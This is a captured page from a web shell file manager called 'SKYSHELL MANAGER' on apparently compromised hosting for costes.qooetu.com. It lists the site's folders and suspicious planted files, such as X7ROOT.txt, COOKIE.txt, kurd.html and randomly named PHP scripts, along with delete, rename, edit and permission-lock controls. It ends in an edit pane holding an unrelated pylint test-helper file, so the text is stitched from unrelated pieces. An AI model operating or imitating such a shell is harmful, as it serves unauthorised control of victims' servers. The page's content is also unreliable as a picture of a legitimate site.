📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: test_file.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt from __future__ import annotations import configparser import sys from collections.abc import Callable from os.path import basename, exists, join def parse_python_version(ver_str: str) -> tuple[int, ...]: """Convert python version to a tuple of integers for easy comparison.""" return tuple(int(digit) for digit in ver_str.split(".")) class NoFileError(Exception): pass if sys.version_info >= (3, 8): from typing import TypedDict else: from typing_extensions import TypedDict class TestFileOptions(TypedDict): min_pyver: tuple[int, ...] max_pyver: tuple[int, ...] min_pyver_end_position: tuple[int, ...] requires: list[str] except_implementations: list[str] exclude_platforms: list[str] exclude_from_minimal_messages_config: bool # mypy need something literal, we can't create this dynamically from TestFileOptions POSSIBLE_TEST_OPTIONS = { "min_pyver", "max_pyver", "min_pyver_end_position", "requires", "except_implementations", "exclude_platforms", "exclude_from_minimal_messages_config", } class FunctionalTestFile: """A single functional test case file with options.""" _CONVERTERS: dict[str, Callable[[str], tuple[int, ...] | list[str]]] = { "min_pyver": parse_python_version, "max_pyver": parse_python_version, "min_pyver_end_position": parse_python_version, "requires": lambda s: [i.strip() for i in s.split(",")], "except_implementations": lambda s: [i.strip() for i in s.split(",")], "exclude_platforms": lambda s: [i.strip() for i in s.split(",")], } def __init__(self, directory: str, filename: str) -> None: self._directory = directory self.base = filename.replace(".py", "") # TODO: 2.x: Deprecate FunctionalTestFile.options and related code # We should just parse these options like a normal configuration file. self.options: TestFileOptions = { "min_pyver": (2, 5), "max_pyver": (4, 0), "min_pyver_end_position": (3, 8), "requires": [], "except_implementations": [], "exclude_platforms": [], "exclude_from_minimal_messages_config": False, } self._parse_options() def __repr__(self) -> str: return f"FunctionalTest:{self.base}" def _parse_options(self) -> None: cp = configparser.ConfigParser() cp.add_section("testoptions") try: cp.read(self.option_file) except NoFileError: pass for name, value in cp.items("testoptions"): conv = self._CONVERTERS.get(name, lambda v: v) assert ( name in POSSIBLE_TEST_OPTIONS ), f"[testoptions]' can only contains one of {POSSIBLE_TEST_OPTIONS} and had '{name}'" self.options[name] = conv(value) # type: ignore[literal-required] @property def option_file(self) -> str: return self._file_type(".rc") @property def module(self) -> str: package = basename(self._directory) return ".".join([package, self.base]) @property def expected_output(self) -> str: return self._file_type(".txt", check_exists=False) @property def source(self) -> str: return self._file_type(".py") def _file_type(self, ext: str, check_exists: bool = True) -> str: name = join(self._directory, self.base + ext) if not check_exists or exists(name): return name raise NoFileError(f"Cannot find '{name}'.")
Save